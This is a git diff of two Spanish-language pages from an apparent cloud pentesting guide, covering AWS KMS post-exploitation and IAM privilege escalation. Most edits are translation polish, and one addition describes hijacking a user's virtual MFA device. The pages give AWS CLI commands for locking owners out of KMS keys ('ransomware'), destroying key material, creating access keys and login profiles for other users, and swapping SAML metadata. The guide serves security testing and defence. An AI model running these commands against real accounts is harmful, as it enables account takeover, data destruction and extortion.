diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
index 81514039c..d8351160f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -4,21 +4,21 @@
## KMS
-Para más información consulta:
+Para más información, consulta:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
-### Encrypt/Decrypt information
+### Cifrar/Descifrar información
`fileb://` and `file://` son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
-- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto.
-- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación.
+- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales.
+- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación.
> [!TIP]
-> Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
+> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
- Usando una clave **simétrica**
```bash
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
-Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y **grant his account access over them**, eliminando el acceso concedido a la legit account.
+Un atacante con acceso privilegiado a KMS podría modificar la política de KMS de las claves y **conceder a su cuenta acceso a dichas claves**, eliminando el acceso otorgado a la cuenta legítima.
-Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
+Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de cualquier servicio que haya sido cifrada con esas claves, creando un ransomware sencillo pero efectivo sobre la cuenta.
> [!WARNING]
-> Ten en cuenta que **AWS managed keys aren't affected** por este ataque; solo **Customer managed keys**.
+> Tenga en cuenta que **AWS managed keys aren't affected** por este ataque, solo **Customer managed keys**.
-> También ten en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI).
+> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para **devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
+> Tenga en cuenta que si cambia esa política y solo otorga acceso a una cuenta externa, y luego desde esa cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
### Ransomware genérico de KMS
-There is another way to perform a global KMS Ransomware, which would involve the following steps:
+Hay otra forma de llevar a cabo un Ransomware global de KMS, que implicaría los siguientes pasos:
-- Crear una nueva **key con material de clave** importado por el atacante
-- **Re-encriptar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
-- **Eliminar la KMS key**
-- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
+- Crear una nueva **key con key material** importado por el atacante
+- **Volver a cifrar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
+- **Eliminar la key de KMS**
+- Ahora solo el atacante, que tiene el key material original, podría ser capaz de descifrar los datos cifrados
### Delete Keys via kms:DeleteImportedKeyMaterial
-With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
+Con el permiso `kms:DeleteImportedKeyMaterial`, un actor puede eliminar el key material importado de CMKs con `Origin=EXTERNAL` (CMKs que han importado su key material), dejándolas incapaces de descifrar datos. Esta acción es destructiva e irreversible a menos que se vuelva a importar material compatible, lo que permite a un atacante causar efectivamente una pérdida de datos similar a ransomware al dejar la información cifrada permanentemente inaccesible.
```bash
aws kms delete-imported-key-material --key-id
```
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
-> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
+> Ten en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
-### Change or delete Alias
-Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
+### Cambiar o eliminar Alias
+Este ataque elimina o redirige aliases de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos aliases, lo que resulta en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias` un atacante puede eliminar o volver a apuntar aliases y obstaculizar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del key ID puede fallar hasta que el alias sea restaurado o reasignado correctamente.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/
@@ -135,7 +135,7 @@ aws kms update-alias \
--target-key-id
```
### Cancel Key Deletion
-Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration.
+Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una customer master key de AWS KMS y luego volver a habilitarla. Al hacerlo, se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -146,22 +146,21 @@ aws kms enable-key \
--key-id
```
### Disable Key
-Con el permiso `kms:DisableKey`, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada.
+Con el permiso `kms:DisableKey`, un actor puede deshabilitar una customer master key (CMK) de AWS KMS, impidiendo que se use para encryption o decryption. Esto rompe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la key sea re-enabled.
```bash
aws kms disable-key \
--key-id
```
-### Derive Shared Secret
-
-Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
+### Derivar secreto compartido
+Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada almacenada en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
```bash
aws kms derive-shared-secret \
--key-id \
--public-key fileb:/// \
--key-agreement-algorithm
```
-### Suplantación mediante kms:Sign
-Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas.
+### Impersonation via kms:Sign
+Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la private key, generando firmas válidas que pueden permitir impersonation o autorizar acciones maliciosas.
```bash
aws kms sign \
--key-id \
@@ -169,8 +168,8 @@ aws kms sign \
--signing-algorithm \
--message-type RAW
```
-### DoS con Custom Key Stores
-Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos.
+### DoS with Custom Key Stores
+Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando sus claves maestras inoperables. Esto interrumpe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Por lo tanto, es crítico restringir y monitorear esos permisos.
```bash
aws kms delete-custom-key-store --custom-key-store-id
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index b445abbd4..0afa7e482 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,38 +12,57 @@ Para más información sobre IAM consulta:
### **`iam:CreatePolicyVersion`**
-Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados.
+Concede la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` usando la bandera `--set-as-default`. Esto permite definir permisos personalizados.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso.
+**Impacto:** Escala privilegios directamente permitiendo cualquier acción sobre cualquier recurso.
### **`iam:SetDefaultPolicyVersion`**
-Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que podría escalar privilegios si la nueva versión tiene más permisos.
+Permite cambiar la versión predeterminada de una policy de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impacto:** Escalada de privilegios indirecta al permitir más permisos.
+**Impacto:** Indirect privilege escalation al habilitar más permisos.
-### **`iam:CreateAccessKey`**
+### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
-Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios.
+Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation.
-**Explotación:**
+**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.
+**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario.
+
+Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva:
+```bash
+aws iam delete-access-key --uaccess-key-id
+```
+### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
+
+Si puedes crear un nuevo dispositivo virtual MFA y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión autenticada con MFA para sus credenciales.
+
+**Exploit:**
+```bash
+# Create a virtual MFA device (this returns the serial and the base32 seed)
+aws iam create-virtual-mfa-device --virtual-mfa-device-name
+
+# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
+aws iam enable-mfa-device --user-name --serial-number \
+--authentication-code1 --authentication-code2
+```
+**Impacto:** Direct privilege escalation al tomar control de la inscripción de MFA de un usuario (y luego usar sus permisos).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa.
+Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a Direct privilege escalation.
**Exploit para la creación:**
```bash
@@ -55,23 +74,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario.
+**Impact:** Escalado de privilegios directo al iniciar sesión como cualquier usuario.
### **`iam:UpdateAccessKey`**
-Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada.
+Permite habilitar una clave de acceso deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee dicha clave.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Impacto:** Escalada directa de privilegios al reactivar claves de acceso.
+**Impacto:** Escalada directa de privilegios al reactivar access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permite generar o restablecer credenciales para servicios específicos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.
-**Exploit for Creation:**
+**Exploit para la creación:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impacto:** Escalada directa de privilegios dentro de los permisos del servicio del usuario.
+**Impact:** Escalada directa de privilegios dentro de los permisos de servicio del usuario.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta.
+Permite adjuntar políticas a usuarios o grupos, escalando directamente privilegios al heredar los permisos de la política adjunta.
-**Exploit for User:**
+**Exploit para el usuario:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impact:** Escalada de privilegios directa a cualquier cosa que la política otorgue.
+**Impacto:** Escalada de privilegios directa a todo lo que la política conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Permite adjuntar o poner políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales.
+Permite adjuntar o aplicar políticas a roles, usuarios o grupos, permitiendo una escalada de privilegios directa al otorgar permisos adicionales.
-**Exploit for Role:**
+**Exploit para Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
@@ -127,28 +146,28 @@ Puedes usar una política como:
]
}
```
-**Impact:** Escalada de privilegios directa al agregar permisos mediante políticas.
+**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas.
### **`iam:AddUserToGroup`**
-Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
+Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
-**Explotación:**
+**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impacto:** Escalada de privilegios directa al nivel de los permisos del grupo.
+**Impacto:** Escalada de privilegios directa al nivel de permisos del grupo.
### **`iam:UpdateAssumeRolePolicy`**
-Permite alterar el documento assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
+Permite alterar el documento de la assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role:
+Cuando la política se parece a la siguiente, la cual otorga al usuario permiso para asumir el rol:
```json
{
"Version": "2012-10-17",
@@ -163,7 +182,7 @@ Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso par
]
}
```
-**Impact:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
+**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
@@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA.
+**Impacto:** Escalado de privilegios indirecto al habilitar acceso a CodeCommit o desactivar la protección MFA.
### **`iam:ResyncMFADevice`**
-Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA.
+Permite la resincronización de un dispositivo MFA, lo que potencialmente conduce a un escalado de privilegios indirecto al manipular la protección MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impacto:** Escalada de privilegios indirecta añadiendo o manipulando dispositivos MFA.
+**Impacto:** Indirect privilege escalation by adding or manipulating MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella.
+Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **role que confíe** en ella.
-Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior.
+Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, reemplazarlo por el tuyo, iniciar sesión y volver a configurar lo anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -215,7 +234,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
+(No estoy seguro de esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para lograr iniciar sesión en todos los roles que confían en el proveedor.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
+Este permiso permite a un atacante actualizar el límite de permisos (permissions boundary) de un usuario, pudiendo así escalar sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
```bash
aws iam put-user-permissions-boundary \
--user-name \
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
-Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
+Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: pueden restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjuntan un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
```bash
aws iam put-role-permissions-boundary \
--role-name \